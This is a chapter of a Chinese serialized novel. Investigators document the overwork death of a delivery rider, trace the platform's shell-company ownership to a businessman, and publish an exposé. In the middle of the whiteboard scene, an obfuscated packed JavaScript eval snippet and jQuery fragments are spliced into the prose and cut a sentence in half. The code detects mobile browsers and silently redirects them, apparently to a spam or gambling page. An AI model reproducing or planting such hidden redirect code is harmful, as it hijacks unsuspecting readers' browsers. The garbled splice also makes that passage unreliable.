2025年8月10日，上午九点。


    工作室里很安静。


    吴小糖窝在沙发上，手机屏幕亮着，手指在屏幕上划来划去，什么都没点进去。


    她每隔几分钟就抬头看一眼应宽，应宽盯着电脑，手指在键盘上敲敲停停，屏幕上的数据窗口一个接一个地弹出来，又一个接一个地关掉。


    “应宽哥，查到什么了吗？”吴小糖第三次问。


    应宽没回头。“在查。”


    吴小糖不敢再问了。她缩回沙发里，把手机翻过去扣在膝盖上。


    /


    下午两点，应宽把电脑屏幕转向大家。


    “刘师傅的数据，我查清楚了。”


    他的声音有点哑，可能是盯屏幕太久。


    “注册三年，总订单两万三千七百单，总里程六万八千公里，总收入三十二万四千块。”


    他调出一张表格，密密麻麻的数字，从2022年8月排到2025年8月，三年，一千多天，没有一天是空的。


    “最后那天，四十三单，一百三十公里，一百八十六块。”


    吴小糖凑过来看：“一百八十六块？跑了一百三十公里？”


    应宽点头：“他等级低，单价低。钻石等级的骑手，一单平均七八块。他黄金等级，一单平均四五块。要跑同样的钱，他要比钻石等级的多跑一倍的单。”


    他继续往下翻。


    “平台有等级制度。钻石、白金、黄金、白银、青铜。等级越高，派单优先权越高，单价越高。等级怎么升？跑的单越多，等级越高。等级越高，跑的单越多。这是一个正反馈循环，跑得快的人永远跑得快，跑得慢的人永远跑得慢。”


    他调出一张曲线图。


    “刘师傅跑了三年，最高冲到过白金，只待了两个月就掉下来了。他年纪大，跑不过年轻人。年轻人一天能跑五六十单，他最多四十单。四十单是极限了，再跑，身体受不了。但他不跑，等级就掉。等级掉了，单价就低。单价低了，要赚同样的钱，就要跑更多的单。他就在这个循环里，跑了三年。”


    他翻到最后一张图。


    “这是平台五年来的运营数据。骑手总数从最初的三千增长到现在的六万，平均工作时长从每天八小时增长到每天十二小时，平均时薪从二十五块下降到十一块，事故率从每月一起增长到每月三十多起。”


    他关上电脑。


    “平台什么都知道。他们知道骑手每天跑多长时间，知道他们闯了多少红灯，知道他们出了多少事故。他们有一整套数，但他们不算这个。他们算的是成本，给骑手买保险，要花多少钱，骑手出事了赔多少钱。”


    /


    下午三点，徐寄遥的结论也出来了。她开始投屏。


    “众包科技的股权结构，我查清楚了。”


    她打开一张股权结构图，密密麻麻的线条和方块。


    “众包科技，注册资金五百万，法人代表叫王志远。这个人是个空壳，名下注册了十几家公司，没有一家是实际运营的。”


    她的手指往下移。


    “众包科技的大股东是一家叫‘远达投资’的公司，占股百分之六十。远达投资的法人叫张志强。又是空壳。”


    手指继续往下，穿过几层嵌套的公司，停在最下面一个方块。


    “远达投资往上追溯，最终控制方是开曼群岛的一家公司，叫‘伯牙国际控股’。这家公司注册在开曼群岛，查不到实际控制人。但它的境内关联公司，是伯牙科技。”


    吴小糖说：“杨亚波的手伸得这么远。”


    徐寄遥点点头：“伯牙科技占股百分之三十，不控股，但有派驻董事。众包科技的实际控制人，就是杨亚波。”


    俞彩虹走过来看着那张股权结构图。


    “这就是资本的操作手法，用空壳公司套空壳公司，用离岸公司套离岸公司。查到最后，钱进了他的口袋，责任找不到他头上。”


    /


    下午四点，俞彩虹把一沓打印好的资料放在茶几上。


    “众包科技上线五年以来的新闻报道，我已经整理好了。”她翻开第一页。


    “2021年3月，骑手猝死，家属索赔。平台称骑手是众包科技的员工，与平台无关。众包科技称双方是合作关系，不是劳动关系。法院判决，众包科技赔偿十五万。新闻发出来后，很快就被压下去了。没有后续报道。”


    翻开第二页。


    “2022年7月，骑手送餐途中出车祸，截肢。众包科技称双方是合作关系，不承担工伤责任。法院判决，众包科技赔偿八万。这篇报道发了之后，也是没有水花。”


    翻开第三页。


    “2023年11月，骑手猝死，家属起诉，法院判决，众包科技赔偿十八万。新闻发了，但没有任何媒体转载。只在本地新闻的小版块里出现了一下。”


    翻开第四页。


    “2024年6月，骑手猝死，家属起诉，法院判决，众包科技赔偿二十万。这篇报道更短，只有几百字，没有后续，没有评论，没有人讨论。”


    她合上资料。


    “五年，十四起死亡事故，上百起工伤，赔偿金额从几万到几十万不等，没有一起超过五十万。一个人值多少钱，他们算过。”


    她顿了顿。


    “这些报道都有一个共同特点。发出来之后，很快就没声音了，没有人跟进，没有人追问，没有人记得。那些骑手的名字，也没有人知道，他们只是新闻里的‘某平台骑手’。”


    /


    晚上七点，四个人围坐在茶几旁边。


    桌上摊着应宽的数据，俞彩虹的报道，徐寄遥的股权结构图。


    外卖已经凉了，没人动筷子。


    徐寄遥先开口：“我们先梳理一下。应宽，你先说。”


    应宽把电脑转过来。


    “刘师傅跑了三年，两万三千七百单，六万八千公里，三十二万四千块。最后那天，一百三十公里，一百八十六块。平台五年，骑手从三千到六万，工作时长从八小时到十二小时，时薪从二十五块到十一块，事故率从每月一起到每月三十多起。”


    他说完了。徐寄遥点点头：“这些数据，如果跟头部平台比，是什么水平？”


    应宽调出另一组数据。


    “我对比了一下行业头部平台的数据。头部平台骑手平均时薪在十五到十八块之间，工作时长平均九到十小时，事故率低于行业平均水平。他们有完善的保险制度，骑手入职就买保险，不用等出事再赔钱。”


    他顿了顿。


    “众包科技的时薪只有十一块，比头部平台低了三分之一。工作时长十二小时，比头部平台多了两到三个小时。事故率是头部平台的三倍。他们不是做不到，是不做。给骑手买保险，要花钱。提高单价，要少赚钱。他们算过账，不划算。”


    吴小糖说：“所以他们是故意不做的？”


    应宽没有回答。俞彩虹替他说了：“不是故意不做，是做了不划算。他们算过，出事赔几万，比给所有骑手买保险便宜，所以他们选择不买。”


    /


    俞彩虹把她收集的报道摊开。


    “五年，十四起死亡，上百起工伤。这些只是被报道出来的。没报道的，还有多少？没人知道。而且，这些报道有一个共同特点，发出来之后，很快就没声音了。没有后续，没有追问，没有人记得那些骑手的名字。”


    吴小糖说：“所以杨亚波不怕？反正没人看？”


    俞彩虹说：“不是不怕，是知道怎么压下去。他有水军，有营销号，有媒体资源。一篇报道出来，他可以花钱删帖，可以买热搜转移视线，可以发通稿洗白。他有完整的一套应对方案。”


    她顿了顿。


    “就像上次周老师那个案子,他搞一场直播，发两万块钱，全网都在夸他。谁还记得那六十万差点打水漂？”


    /


    徐寄遥站起来，走到白板前面，把这几天的信息一条一条写上去。


    刘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384879|197680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    师傅：三年，两万三千七百单，六万八千公里，三十二万四千块。最后那天：一百三十公里，一百八十六块。


    众包科技：五年，骑手从三千到六万，工作时长八小时到十二小时，时薪二十五块到十一块，事故率每月一起到每月三十多起。


    股权结构：众包科技→远达投资→伯牙国际控股→伯牙科技→杨亚波。


    五年报道：十四起死亡，上百起工伤。最高赔偿二十万，最低赔偿两万。


    对比头部平台：时薪低三分之一，工作时长多两到三小时，事故率高两倍。


    她写完，退后一步，看着白板上的字。


    “这个系统，已经运行了五年。五年里，死了多少人，伤了多少人，没人统计过。因为那些人不是‘员工’，是‘合作伙伴’。合作伙伴死了，赔两万。合作伙伴伤了，赔八万。”


    她转过身。


    “杨亚波是这个系统的一部分,他的钱，是从这些骑手身上赚来的。骑手跑得越累，他的公司赚得越多。”


    /


    屋里安静了一会儿。


    徐寄遥说：“赵春梅这个案子，我们不打官司，我们也打不了官司。合同是承揽协议，不是劳动合同。法律上，他们不违法。”


    吴小糖说：“那怎么办？”


    徐寄遥看着她：“把这些数据发出去。”


    她走到电脑前，打开一个空白文档。


    “杨亚波现在跟上半年不一样了，他做事更追求公众口碑了。上次周老师那个案子，他居然搞了一场直播，如果被他知道我们在查这个事，他会抢在我们前面动手。搞直播，发通稿，买热搜，把水搅浑。他有钱，有资源，等他做完这些，我们的东西再发出去，就没有人看了。连水花都不会有。”


    俞彩虹说：“所以我们要抢在他前面。”


    徐寄遥点头：“对。今天晚上，我们把所有东西整理出来。一篇文章，把所有数据放进去。刘师傅的数据，众包科技的数据，股权的数据，那些报道。全部放到网上曝光。”


    /


    晚上九点。四个人分了工。


    应宽整理数据。刘师傅跑了多少单，多少公里，赚了多少钱。平台五年来的骑手数量、工作时长、时薪、事故率。所有数据做成表格，一目了然。


    徐寄遥写文章。她坐在电脑前，手指放在键盘上。她想了很久。然后她开始写。


    “他叫刘建国，四十六岁。跑了三年外卖。八月五号那天，他跑了十二个小时，最后一单送到的时候，倒下了。”


    她停了一下，继续写。


    “平台说，他不是他们的员工，他是外包的。外包公司说，他们是合作关系，不是劳动关系。合同上写的是‘承揽协议’，所以他们不赔。平台出于人道主义，愿意提供慰问金两万元。”


    她写得很慢。每一个字都要想很久。


    她不能写错。错一个字，就会有人说是造谣。她不能让这种事发生。


    吴小糖在旁边整理那些报道。她要把每一条报道的标题、日期、内容、赔偿金额，一条一条列出来。


    那些报道太短了，短到只有几百字。那些骑手们不是新闻里的人，他们是新闻里的“某平台骑手”。没有人知道他们叫什么。


    /


    凌晨一点，应宽的数据整理完了。他把表格发到群里。


    凌晨两点，吴小糖的报道整理完了。她把文档发给徐寄遥。


    凌晨三点，徐寄遥的文章写完了。


    她把所有人的东西合在一起，从头到尾读了一遍。读完之后，她把文档发给每个人。


    “你们看看，有没有问题。”


    没有人说话。他们都在看。


    过了很久，吴小糖的声音从沙发那边传来：“没问题。”


    应宽说：“没问题。”


    俞彩虹说：“没问题。”


    徐寄遥打开小红书网页，把写好的文章导入进去，又仔细上传了多张数据图片。


    然后她点击了发送。